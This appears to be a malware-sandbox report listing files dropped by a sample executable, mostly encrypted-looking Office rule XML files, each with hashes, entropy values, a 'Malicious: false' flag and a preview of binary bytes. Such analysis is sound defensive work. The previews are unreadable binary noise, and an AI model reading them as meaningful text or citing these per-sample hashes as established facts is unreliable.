Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.737779503951663
Encrypted:	false
SSDEEP:	24:8ybfcph9By6Z34HVNjBkRy2oczmpW8aObD:rbALZ3IVNjBiyUmpbD
MD5:	0A7C5F28628B879E95A86855E59B49B9
SHA1:	A1A854168800A25F3625C80F3FF30EC5D8D1BB0D
SHA-256:	025D0497D1BFAB17425A2BE16B309B061E49045887343DBDAEEEF73555F7E700
SHA-512:	00A44AF60A95531CE62B753023717A3EAABE93B1F288531BF0444201CA580B216D6748B586E4ABBBA1AE3A893FE86597F19074A31E978E7F6BB888FD2D96F4B2
Malicious:	false
Preview:	.<?4..v...s?....=.}...6y.^..].)......._].#.`E........l.9.}............Y....Lwt[.......p...D7....?....0,5[.J../.,V.........<.1.'.......K.C...............2$..=....^.E.;..i....<.6...8.4o..Z.n.[........q^......Z....9h...79..O..+),...2....Q.....7B..U-.b..1..Q..,./..i.vm.M...Q.&r_s...o.>.....h..+XI..#.....^.m..0.3a3......R[.O.,.`..x.7........L/.x...PKP..tx^..~..u..(...tX..:.X\|....%...K:....+...k-.Z.&]......wp)....g.k}....51.D...E]5.G.&...0....^59Z...~ .B.2.+R.u....8..OR....x...e..`:.M.;......1..R.....a.h....$..(0.........mPh.....rU6...1.....9....`...{....(\/...b)B.l..^.Px.......JC....Wyou_um..S...o..y.t,.z....\(c..ks....`.Y]/*......'.O.Z.?^.. .h..tH.&..NG......1QQ...A.."......[.`"$..&.......a....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.709144153647748
Encrypted:	false
SSDEEP:	12:3B3cvQ8s/IdPHRd59E0VOblOSMXs9anWfPNbSRiXXzNMUSJ/Q9eLiauOcii9a:3MQ8s/I1TfSMXs9anWfRSRinzNMUS9QG
MD5:	A28BDBBF9DEAF7A264AF3E62E97C36BE
SHA1:	2EC610FFAEA745EEB4D634C8B321630C4E23E559
SHA-256:	E9599A57B61FE8E0919D53A9257748B588BC0383BDE4C1BF66098163A4B6073B
SHA-512:	F8AFF9940644CAB28C3F5DB8AFE38EF73610CF4DDEFD3F9CC4B900DBDBCA406722E9E2AE3CC97741F1BA0A5C5DD6979A394C8B33AD1A3F08E226D0DACC4057E6
Malicious:	false
Preview:	.<?..?...w,.....#y..M.mA...#D.#.$.M/.#=..xU#.[.p.3...K....Nq.......UG..ha...X.F..'Wf8...L:..Qt...v......3..Qz....p.XhwpB4.,Tv....=..q....6r....)N....j...2...........S...v..".F..Xd..(..J...zZl...hJY..C..%^.!.>.....W.7.s..H.....o.0..L.."..J.nky;s.OfZ..!..6......b&..yZg...RH.......x.nz............3"V..t{..@=....:5..ad)c....s...M..I......s:.I......8......9.A7._(.#o.f.z....~..y).Y..Q..x\|..F.t..T.kr.\........P.{..6.P...8=.+...h..W...Gx.y0...+.......U...A.a.....o..tG....m,Q..0G..7...~.,V...\|.Q....6.G.z......ry........8V.k..)0@.?.Y....C......r.w..s...;....sx..SaQ.G.*e..:...-...8.f....VY.lB....k..v...[+..}4\z.Uw..W^N,R.~&.c.....Q.....{cK`...{Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.730410978714707
Encrypted:	false
SSDEEP:	24:3rkCGQoC67XBzBwTzivSl8GK5YPHYG+AtObD:bkCaDTB1wTmrZy4G6D
MD5:	1D00E7819CB68EFBF538D926690DA10E
SHA1:	7CB7A1331C296D085D14F0A7A2EE4B4427EAD938
SHA-256:	C556E8626CB68761A991A2F90910C3A56FA57D94D1111329759CE9F69A37F640
SHA-512:	F5D3394CB4B160FCE840969919063CA70C7770435A96412EFD561AC4A5D2A23B3E88D30CE03D874CA12193B13DCAA5F894DD3FF414FC9E929A6412FBD57D28D1
Malicious:	false
Preview:	.<?....,.n].7.....I..K.H.i.{..H....U.C.SY2d.O.2L..s..].z..k.{L8.S.o.H...X........H`....<C4........?.l.qvj..B......$..;".Y.3......#i%&r{.~.d...>...2...q....~.O.L.k...D...$.....95.(.U..!...>.N....~.6\|8j...\|.~.Fm.+....u.+.^d..=r.>M.. s....#..g$s.Y....)...a......\|?....a....7.B.'D..yI..@.N.TQ].UU.=....]..BL.B.:%[.....-".d.dB..r.7.....^.FQ6..m...XfV.1.....P....q..6.1w7V..EV.ogc.}s...$.#..33.(..h..L. X.l.[..L..6..VU9..;DK......W.!K.n.{..jY5.M^....m..K..O> uK..":.I..........<...+X;.5c..\T...9.l....DAT;..j.`).\.y..m(t.<..a..tWKGv.^p..p0...q.} ...'d.^_...RhKj.u.......\|&.%..........k."c..I.k.......3.....XSK.J.x\|5.E.-...[p.xG...> .i.O..](.B..>.)oyH...s.."FW.H....o...@...Z.I1..%.%...n.{.RZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.697996500545583
Encrypted:	false
SSDEEP:	12:VuP9D0gE2kXE07C9aobhGrafCW7lwS1rh6GNTNR9ngdMoXVF7CJZdhOlzuOcii9a:V8HE2k007C93bkraqalw46INi/OJxACI
MD5:	C6B20E213BCB283AA1F39162409B5AFF
SHA1:	03C8BB8ED6564008AA85FCB69121074BBEB293E6
SHA-256:	8B30B444D00B5E4AFF40D8050633EC99BB0BFC2C8865B6A510C2C29EF105E289
SHA-512:	B98590F1CCCF65B04F50B9229DAE6109B3BD257CEBBFFC1F7A9358F2ECC3144CBDE7B4B5B49717C946283FC02CAF0B73047D5E0C46AE777AF5F1CCF836DD829A
Malicious:	false
Preview:	.<?(........K...esZ=.W)....I.F....{.....H..\....q.....hu.....xiUW.1..ea#r>=.,..\|.NJ.M..L.h..]...J6..l.....V.b..x..."..+..z@...g.L....Y).4-.$....vX..tz....?.....K...Z.jS.M.fOe\...5,..\|.P......$......11..v..g.ba.4.5...m.....G....Q..0....P.[.aT..\|...... 3.<.b_...#...J.D.#.j.#.K........;.."...Z#sQy..;...Q/xMT4..J.....1..:1..>4.....:.%.X..PS.IjJ.B.@..P.....Y..0.....=7%.......".<..F.X.[U.8..k..\h..l.s..K.1..o..+ ....>....%.U.F...v..\H.......p....J..W?....._...v....{I.....}...$..FnnE *mp.H"m....GSH.......VQ..}.2..o.v.cV..}@i..J........B...\|l.d...U6\|.uW.....!X=......L/...Zm......E.uQF..S.8.V..7k,....q^.).M.j...\|N....Z._..hretZ.B.0V..>.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.75181601148583
Encrypted:	false
SSDEEP:	24:s6OGp02DyjKs6LgFVsIxtVpIbqX7BZjPObD:sXC04k5xtVpllF0D
MD5:	10B25EFF9D761ACCEEC8D1F7AE061A85
SHA1:	DDAC30712201098EE4D525F428D0B1F65A04CEA6
SHA-256:	0EBB65457198234542EC86CAA6B5BFA6E8B5433E1C2A0B0CE6B52833E826150B
SHA-512:	54D7F5AC6E0FFC82FF46D16FAE24473E37F37BB2B990B0F4E95E78230F5536067EC0F1AD7EC8E1F92E8521626F7A503EF5F34925F4041DB3927F122DF271DD59
Malicious:	false
Preview:	.<?..+W~....1...h6.H....Q.(.....Q.ZDO.....l....1.}4Zz.....G.'Fb....K....Ot6....L3..k.j".G`..-4....Z../%..4....gF. ...z}.....7.MO.....%+.Uy.L....p.x;.n...`.<e.S._.q4j..[b...kmR8........%...b.2pWK..)D8...7r..Q.&.t..1.O..eo.=^.....,...c..\|....2..:Su..M......%w...uW/<..P........L8....o.x....P.]..[..?5/J;......U..~............/.!............y.'.m.......\|..J.W.).l...).................](.A...l....."...YG<.3.........M.VF..Av.u...5;.4.~s..&. l^.<.N!.................G..(..%....*.......g_........^......m?....m.A..d..@....GY...3......../<GZ.?jMl.....t.o...R..6u.x...~...%$..q....i6...~O[d/..Y.t;U...0/....+........}@ .<t.JW...~.u...L o_>...s....._V..C.8..t.h....=.I....C.).rKV7".+(.F.v...$D.B.h..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.880910529329943
Encrypted:	false
SSDEEP:	48:f+fbxFKQFL7saTeh3MbjTlw05+dA0ptgD:fAbbKQFcajHlw0gC0pt8
MD5:	D7F9F0F7F69D2EFF164F74193F222147
SHA1:	858D0882F1D3471E8BC09051A736AE0B940950B8
SHA-256:	5968D9A5CED59C1A9697163EAA4FEA20CFE466881F625D3B9B63E2B15B591868
SHA-512:	62F1B50F9A8857CBF0AA2735D67254E6278D2016673982747E188615BE1757927CA5886E30211B6D4587FD617BA40E9EFB2BB77ECA4A88865C2F15388791D151
Malicious:	false
Preview:	.<?9G..]lE.!....vf\..G..#../I.7.....U..C8....:/@.,...A.Xz.{...MkA....%...H.6.$sk.....&..G..n.D.pu..}M.d..wQ%..<d...C.aR......s.W<..@..y.(.....]... ....gYri..[..`..].....c.)...oWP.+8..j...B..p.hM..T.$..Np.S~.H,.D..a.Z...s....m.....Z....j\..@1..{}\..J...y2....)...$.F...{. l\|.......S.6._%UGk..).#q.I....._...p_P..$z.......6.I....+!I.....j.Y.......f.9D......F;....wD.a.DY....<$.I?.].#.....0h..n...g..~j...n.o...w..J.@....Q.....".kE..3s..I...........]M.%..u3..Wo..E..=..X..).u..ESv..c.aWP>..dF.h.{.o.<.'h._;3.:h4fW.(.f...n...Y.5..@w...0R...e)._..$.?6..J.G....G...k~...\|.z.<.../...x..:.....).w...J.\|:../\.1L..8..?.h...:`.w..l>.NK.q.r.(...#.nV.v.]...._}.7uK...F...F.p[..P...s.. vQ.6=.!.[."cZZ=.. =.o...)..@.r...<'....Y8.(.q...):^....3u@z.....B=F...WEd..%...+..T...0,...8./#b.'O..t.EI$\|...PH...?...DA.H...Wa...R.g..uS.7...,..o.....c.....H.9.>..)..F.7...z...(raO.....5.........\.`..g.:7~^...8.(;....H...V.......{..3..._.a.?.u.xj$......."d...T.>..Y.H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.897868500706146
Encrypted:	false
SSDEEP:	48:EqLMwxzCvCsycSk+3V4AYmIQpUdaeT74D:pLM2yrNE6+2T7k
MD5:	B904C1A09DDC0BA78BBC5B3A924F7990
SHA1:	28514DE33C1002837C72191DEC0D3410DC5E6AA2
SHA-256:	C299B678623F0BC6A257BC6249ECA18304EBB2756EEC667259944ED984D8F7E0
SHA-512:	5A6034729CB3D4CABD3782CF9487535B521EBD7E7A08A19F0887E388AA331982E3312737F4E11BD3D3220CECC4B51F0B4139DF93C45C94C4200599A804158FDA
Malicious:	false
Preview:	.<?...0....x..z..#..Q.G.l.?...D....7.GZ..)1".f.....f6.8...._....YL. .=..Q.-....YDe..._...#[~.3.HA2.I..[.n^ ..3..<.......,..RlUy.o.......o.~....;ij:..+RT.u....p.B.....t..a..G..K..P~iM"P.<.):..7!46....{..k......W@.]N.G.D.S2.g'..t.....\n....O.....hDE.~.LO..................1..f-...i...^.T.b...\&qk.5hmN...$..........=._3..2.n.g...{.N.c...z...x1..c.V...1...K.(......;.A.k-......+:.t.z..LM;ll..)...V.....Q&..a......tL.%L..]o.pf......7.v.....X....9.s...)P.97...............9.W4..h..%...)fF.~g.:....x4{/.....O.9..GPMw.....;]...d.......QD..s...SU....>..8....(..1..:.......x.....D...8..i.xo.Z.(...ws.....KI.5I2.c&...!......>..T.R.....@.\....].O.6.y...0....Q..Gg./..Pl...K ..T.}w\|..s./.Z....UP...G..@...y.yE....M.....6g~$........?".8..Sp..9.Q#.^=R....q.....6f..}_(^w.r.....6vj$..`.Ykn&K.+....9n..f.8=..T..d2"....nC../...0..\de#..u+J...).#..?...~..GAI.A.q..z.E..I......@..E....!.0....0..$mS.........^.....%og.j..[.W.3ZpJ4..c..Sq.Ko.Y.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.876699598871945
Encrypted:	false
SSDEEP:	24:26OihTUuoJi8aDn4k/dsnstPF+pcOSH4arSQ+12VTaAfUaWJWpdtzQp/ObD:26OSDtznristP4EYaB+4TrfUaJtzQpkD
MD5:	D0B329F444A83FCCD3A1A4707CB2A1FB
SHA1:	E5B1364F511098D4E56AA04CF8D52089C6EBA74E
SHA-256:	9BD05643D70E97E11F7A60C9EDE629D2CC4DD41934C8FEC005017B132E6590AB
SHA-512:	E1DD482871562120CE3F68D92C0D2F66F7A6E06B973FBBFB77C589214DA87639A890F7BCABD9151F1A1FFDDFD3F8A7AD8574B998D73C60FAD586540AD4AFCDDC
Malicious:	false
Preview:	.<?..).c....>j.XZ;W.9...t...MCs.P.....1..~..<.4..NnE...../@..V.]..#.g0..2....C.......0.0SH..L.D[.o....d.~[..V.....zs{^.N.U.oS M41J2."....i.t.+..%..... .@.C...=..v.y.6d..0..\.T....dN.a&.{aU.........d....o.^..q.`..~-..?....N.5....H. .A=.....6..S8.'Y.........p&...._.....v...~...@.1T..qP..zYA;bA.+2_.4..]F1.Sh5.$M...V.....x.....g{..b.'..s..w7.+.p.....2.Me.......&.J.B..C.zP(...pc.H....X..N.J1.p$..`-......X\|g..g....4"~.&..F......7......r.....AW...v...5..i.T......l..)......,.^............3a...e`... .^\|.f..Y.....%,.. ..Z.m9..\.E ...2?-.t?.S..I.M.1.e...........RZ`Q.........}0..Q./8=.......4B.^..w.xQ<...O........1..."....`{"....[.).B5;.P....C.u.+..g.__.U.!../..s........:..w...#AU.D.....c.n..7N`....UA..D.7!.............z..8.....u.Qvd...IA...O.h1+Qb^0d..........=`....DhN(&..\|..9.s/.O2.fM.e..LYg..f...^Ac...k..$.6..x.B/...l.S..T...j:.?.`......Nz..z.../..v........qp6....i..fj...G=C$...[.e.!.x....4..b..\N=.\|1.4.b...c.....3..\|.i.1.2+a.'.l..}3!6.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.875976357455054
Encrypted:	false
SSDEEP:	48:cFQao181upgfxOAXkWib9rgxMqJTMw9xamBEOFKbD:7ao+4EOAXkW6rgxMqJSoEOMX
MD5:	A5459E73C57AABB69BCA37E636C34D31
SHA1:	6F0DF8C66FC4C0501CABF0F5A85E95D234388CA1
SHA-256:	F691486CC221A03A7FC22AC7311D9C88A58C131575D4287157BE294192B674CE
SHA-512:	7D8F65938ADDABD705BFFA0A58E60E3F377149A398D03ED861B20F6C3679D45D02B29F2E675ED727BCF0D606880E355BE2EBEFDE2485D97F66ECF21D0551AF75
Malicious:	false
Preview:	.<?...l..d..).......P]...y,...w..Nj.....z.(..OiX..$d..^...[rm.`.mN.....UA..v._./.m..3'..=.%.)..d..X...c!`^...aX.....H.........S?a\\|H.h....EGv..-+iCo"......BO...p....x'.d.}0.......mP.K..r..k.B..nu.D.=Xt..CF.O...%Yn.}n.s....Q....py..h]...3n.....m..S.M..K......#6m....{.8..H..Z.sX..../.I4....Z...........[...L.....).IF....T..B3.;KK.A...{_\|..../T....+.].gi...KO...pY....=t@z ..9...<..N..6..-.....^....?...JB....d(.d.Y..........z<s5........K..8+.P.1.SW.p....c..y.x.B.P...0.7.[....1..Sfs..Y...>Y....7V_".V....C(..}.m.8...[..Z}.crW.Z.<Z........b..Co.$..uE~..D#c..`935.. k.$...z..........[B.m..Y......U%.._..=...>M"0..e.w......Oz.@.]y#'.@...[A...9..s...lj....j..q...+...h!..V....{.,./...[^..E4..+.<1.VH.k....)..].E..K...Lx..O.(...l4.#.a...7..f...e..i...>dG.3.>.S.`8..j...I.>.TV..)....].6`..3..SxPJ...9..@>4........ZD...Gq.l.....}..G.q.....H....N..CF.....d.U.,2R0..>...%....{C }..#Ay....g.)e._.O..\|....e.).....a..H.v."._~..,#..3.H.g..G...#..d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.876585335024483
Encrypted:	false
SSDEEP:	48:PNCvumwMdHZuCXEE0D+xD2O4YsdAU6Y9N66D:PNC2wdHUCR0D+xDCYS6Yl
MD5:	6FE22662D67EAFE8E6BCEA056D015466
SHA1:	2FAE39032D83CF92FD9077913826ACF9D31B784B
SHA-256:	4937EE813E76C46F62F2DB29322CE958AD1C79B9DDCF6363A2FE5F1F183611F6
SHA-512:	D415C40A49FD452C0CA1CEA5656EF3320F18E04C51894D548A9719D48A23CF1F4C2B62BF47B583699C9F02ACAC961802EE38BB3F05FEDDEE7CBF8181A4B9D8D9
Malicious:	false
Preview:	.<?.z.cF..!..R..:...n...c..p.z......h/T{.@6.F....R.c./..Q$..W.`%o$.h>..Xp.PB.c......x~K...;8b.'.....uj.o.......~....}.6c..e...3[..L...sQ.yWJ..Iz.pW..X..f.8l....W.jMjv.+..v93.....MJ.v...7.....7J.C..e=q...H 8....,.u.G..H.........t...u..._.......s:3.6u...m).g....~.....}.^....eo..8.Y..........tO..+kg2...8/VI..M.\.H..caM.>Ck.......(.(............F....p2X.#.3.N.AN<hq..q.!...9..(.......p..Hk..=.Ar.`\vg..2....8[...2..%R\|^....1y.......~.-.].!...ys$h=_.}3-0-...D..q.".P\....>.u.B,5..&..Z.q0#.......9...F.pRo....C....O.Z..}~.8...K1.?jO]F.x.G.C.C.<&k....r..N.C.A..O.i.6@...j.a.F......(..P....\@`\|r...Y..h....f...8......(...........I....F.L.}.8....p..X.Zj...rpj(^~..A...Fvw.B........9...&.%.....k.P.)..~.AX...&*#%.2r.:....s.4.+.^....9ln...V.M_...>.\|I~...O.3..d.......x_..yZ\......2)..l.q.._..}.K5.H.$w...V..u.FV..^.F..X.S.......X..=..,....;F..A.3...J3..eA....j..F.......lWkW..q\|&......uL}....;#...f".m2......4e.;p.p....=o.ch.92.-B...?..%{\.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.877022470533553
Encrypted:	false
SSDEEP:	48:UPHtrEOWT9+L/m3xuut5r3bFSnz0vjE7DzD:UVO+TUxuu3REzF7Df
MD5:	4D1EA888435749D520CD2082218DF9DC
SHA1:	6CB1B3CA91F06FF01DF104030BDC2D6C1650FD3A
SHA-256:	84A0A74FDD17CF7C210A9F6FD4B6FB15B066AC277C10100754A17ECCD606B687
SHA-512:	7285FFCDDA51469CEAD929200098CDCF2DDD316AF01CFEC49921E9619464059A2AD636C4E8E138D759F9AA174672C0FEE8223E8731A73341F746AD9D8ABACFFA
Malicious:	false
Preview:	.<?....~hGB._p;y$f......Y.7$y.<.uj.m.V..g'...l..N.xo..v...U...'..<.gV...o!@..M..RF..4....U.................z.4..b.....:bj......3._G.....5.=.....T.k..6C..ZNm<.t...S.O8......3..A.....>.j..l..vd...5n..^R.n...8...H....fL....Wt...9.....L..4..Z...rx8..3..8..'...-=.VKN8...%..mJ.&g..N...}Y..D..Hw9B....[.. ../.....+,....d.).)P.e..b.....r6:.tdV$G0#j....61..A.X4.9..8.....k..J.p.lQ..#..v;. '.........w.....W.E..i\|..M....6,..,..D.N._........i\]b.........g.uE.e.....g.MAt.....W%&`...w.Z...f....e.\.....DD...C.r...,snN.W_R.e.\...?.X....g..w.....sX7..<.W.....".,..W.=..D.\..,\C..}.'.....2..m.!.0N3.b.Wr.].BB...~..@.O[...Q]n.........).P..Py......7...i....m....m..NUV...2Z5.{.1./...X2.b.S....V...X.x..)=.......2'.B.........'.~z.q.:..GXK2..dI..d>e.w.9..ROYr.-..K}\",..$.........g%.X(.j. .#D....Y.l....S.F.x...!........4...#.5Dc@jj...2H.....,?.....p.5{...]G..4..{...;/...`%c.H..........^.>zwS...?.^f.6.}.,q.V.-.n...W.0GvK..x..zo..&.w'.33.2f...j.V.....7ZF.].t..0.K.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.883252904566076
Encrypted:	false
SSDEEP:	48:SlPRd47bN52howyk00AVsZpvytpWhdOVpWbtD:eY7bVwQ0AVsPyt08vWJ
MD5:	78B05A752C402E3599DEFCA03B5DFFB6
SHA1:	7979F9FA56B427929B51F8588D103C9B48B04F58
SHA-256:	11991DD45263C6CADA08C97864F6AD079D70618EEE8CC575658473100A28E62F
SHA-512:	B1AF5AA3FB569DDFDB5C0471032C37DD5BBF08D0E601AE42F81780CAF92D81A18D6867651619B68D9F7B1A6FA6E9E64734F4A0880E08B84A8909C412D1E4C082
Malicious:	false
Preview:	.<?.)+...<..p(;.......Z........w.>......u..0..cT..H........3...4...uY.fk).He..:....7A..f..Y....q'W...mP.MVE.FXI.Q5pX(..W.........1..tv..Y}\`.{.\|..?.t....K?........lg.[&{...6t>.T..V.:..........fK....X..Z.`...b.?......].(.u3!......X.t...x..F .).......L..2bF}H.7g....s.i.6...w.+I....0......f.>....8....@..b.=./1...xE..,.6.9.~.....h=\|......&...;\...G.......!.D@...4.}.{.zW..G..hY.'..jo%.N..x..1.}../.X.Y.A](..m.(EM....X.x.x...Y....a._W....o..E..x.).........x...H....\|BG..n...<~M........\...._..~.Z.j0.l5.....3.E..r.5..?cE.&Gil.\|.".....{.v......YK.{J........h.(......<..?y.q.z..$..)0.\|.at.)..._.q;5..aZ....g...I..9.Q.e..J...q]..}?.[.)....!..~Q.....E.....M..A.....V_5...M.sD\|..E.ENq$..U....S.K....g..{.pe..Z..;;...R.&...P.`f.s..2H..[.(2.......g.~.......h.\.c3zp..'(.Za~..+ ..).n.+..k.....>(..(Y'..U..2.s.<..........^Xi......;,.).O...W@q..E(...)N......N..~M.:&..66.4..S[....3..%$dj.e..I..!:B!..5!.\|Lw.`.P...r0[z.v.e/J.V.\|..6a.]....p...s................ra.bd

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.880517081803681
Encrypted:	false
SSDEEP:	48:AwolHIhxD+TNVoIvkSgohPR0B7RBaY8fYlwuM7eH0c84D:AwoZIH6T/oDSgoh5iyYxAeHD
MD5:	D01751C17A88DBEE961A7A9158CE6CF1
SHA1:	2DD3195183A24D31E6D76BE9E2485388D541BDC4
SHA-256:	883A69FC5BF86121CCD1AA06EC00652AD8AE6380ED7E2B7596A17CE673AAEA41
SHA-512:	976A6268DB155891041ECF2D0CBA8025834ADC64C578815127E117A8002959A545E1C17F6A6808AF65EF51EF88AB3DCEA71D61BA932D5E3E8B1C676B56494A07
Malicious:	false
Preview:	.<?..]=.EC.p.OF/d.K7....q,....!..>tA..........$_!9.....B..M#.2/...;.A..\...1..w......H.7eVy.zC.....9.......=^Sf.ln..d.I...;.w.V..N%uWz"I...R.a...$svu....y......q.N...N..B4.<y.o.J..-A\|.2_..=........o.8.'(Y.5..>..}.]M.?"...D....,.>....[.r...v.e..&.l.........W.?U....Y..h"<.Bo.6w.#Hs0C.=L..Q,...e..z.7.._ c.S.....(....k..S..$?\|Vc.<Q..@._..........,.....06L\|..E...........;m..ZIA..XB...L.......8v.^$..l.:.G....../.CF...Ix...,u-1.E..c2..=V.....r{g...XNZM..J...t..m......hB.O.N.N....\|..}GN..[..cc..4R'.j...R.9..z../<.N..#........uL^.._}...;.q..g...(&...K..'.....Fe..aG.....%.1B..... 8.Y.Rp...}.{#;[=n....2....B3..9R.E.a.5.EP.6.-....[OS.pA;.{v&..`........W.(..9..*.4Fm....&V,....1....2...w.(jFq..V.T..2H..9.d.....4...#.2#7..+.!n...=...P...D.....M...AC.......[.2vJ...MNN....y)..$....D..6Ys.........GG.....o5.#.<T...P.......4....5Q..........Y...Rt_W>...=f.z.{....N..Yk.+...&P..p..%..x...@SwR...-P....d....4.......>.......&......#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.883713934307673
Encrypted:	false
SSDEEP:	48:oMdargVlvQuFkQio8+M/0j9X88HlQKR7b4fJso039D:bXWuGd/V8FlNoyF
MD5:	6BA268671209ECDCF010B591A83FAA51
SHA1:	963436205BCFD6EC73C5D01DDCF1B5BD05BA1FD8
SHA-256:	CE9EA49A50553AA6A3A7C4ACABFBFD87A4E2650B0BE6CE12E3271BBEC3152E94
SHA-512:	41FC8AAAE1A6E845F7178251A27CBD1B5F6EE4FF485D0FCE1267C6B149ABF1CDB8B9E2EEA0F487AD411F53DC429D1EF5B2DBF95B2DD614C2195E151AB4F1AA34
Malicious:	false
Preview:	.<?..T?4R4....{.....qt...DY.........a.ck...}U.. q.zT....MQ.a..lK.K8.'...(H..@./\Fs..`....OL.`..1.i....3.\|...eD.=Z...b{3.e.@Q.l.'t....J..9..LC.}.=.'\|.8.}p.]{+.,......!Xj..K..{.<..m.>Q.....d.O.:v..W......D+I.Z..z.....X(....4D...v.k..m.\'...)EO.ap...$kJ.].,.....2..,v.....$.P...w..L....yV...f.rU.T..!/....5.X~AoYp.b..Kv..$o...7N...\N{..J.Mx.....KP\#..O...g.`7..5...Tms....+.4...[...sk...cv..".......n...'%lOUb..Qn....0..........U[.t~.."..52....9,.'H...!..y".Y..h...7....Aj.1..3..4.d......!F]_...#. X.....O[.U....n}.P......Vc.'.!.........*i.m.w=%......_...yRW....e!.$...l...6..v.4..2..(>..qJGd.. C.e..8..X.Gu.I..1#"8.B.&c.l...DG..ZF3.Qf/..E_Y....Q;.n_...$.U,l5v....y..sV}...pl"vW...-<.....h;}.J.sL.....2:.......{..o:8f..uJ.7.}.'6..:lX..L..[F.......%...l...^.U.~.y9..v"...o....d .....5..AkR.......o..%.....#....o1=N3]..l...[.p.Vo.'.C..e...7k?L..;VY.^X...)..n....'k`..c:...z.}...'+./n..-..I..E:...!^t...%X....a...\.X.+.._.45..O..d7w.X8.]3.r.....d+.\|..l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.873754856004873
Encrypted:	false
SSDEEP:	48:owko1HWaJbcSo4rNbd/JHJmw4plUi8aiD:sotrWgNbFJH8/Lpq
MD5:	3D111ABAEA26AF94F27DF740FB468EC0
SHA1:	FC992D70DDCD3AA2FAD7D43A00EE84D6A188D7E0
SHA-256:	D5804FD6D6644409FC2CEC909BE8B7A3777562308D35BF8312EA0FC3B88CBED8
SHA-512:	A260E5F9BAFBBA88A619AE1C8BE63CE7493705E788848EBCDF46A74EF0EEE4E605C878852B6EC371E6F8E617C299C5E421AF4CFD20F8754B1E65028C5B3394A8
Malicious:	false
Preview:	<?xml&`.v.a.K.8.....U.\..TA.>:......(N...<g.....j..+..q... re.2A.....d..F...<.....:.g..F.wt....{......W.....`}^U...o.AJ..W......q.Of.d....1?.yo..............6..R...$.\..X].b._..is.}..C?..}x/Hm7F...a".........M..S..>9W.ub^.Ir..v..6r.._"..B.{...g.sI....;R.#..y...N.2b..o".._,..f....../...h...Z7......E...E_.?.QH.^,+.cu.!...K.....'...l"?[.3...e....N.......D...nv.2!.+...oS...&_w..-...t....+6..... 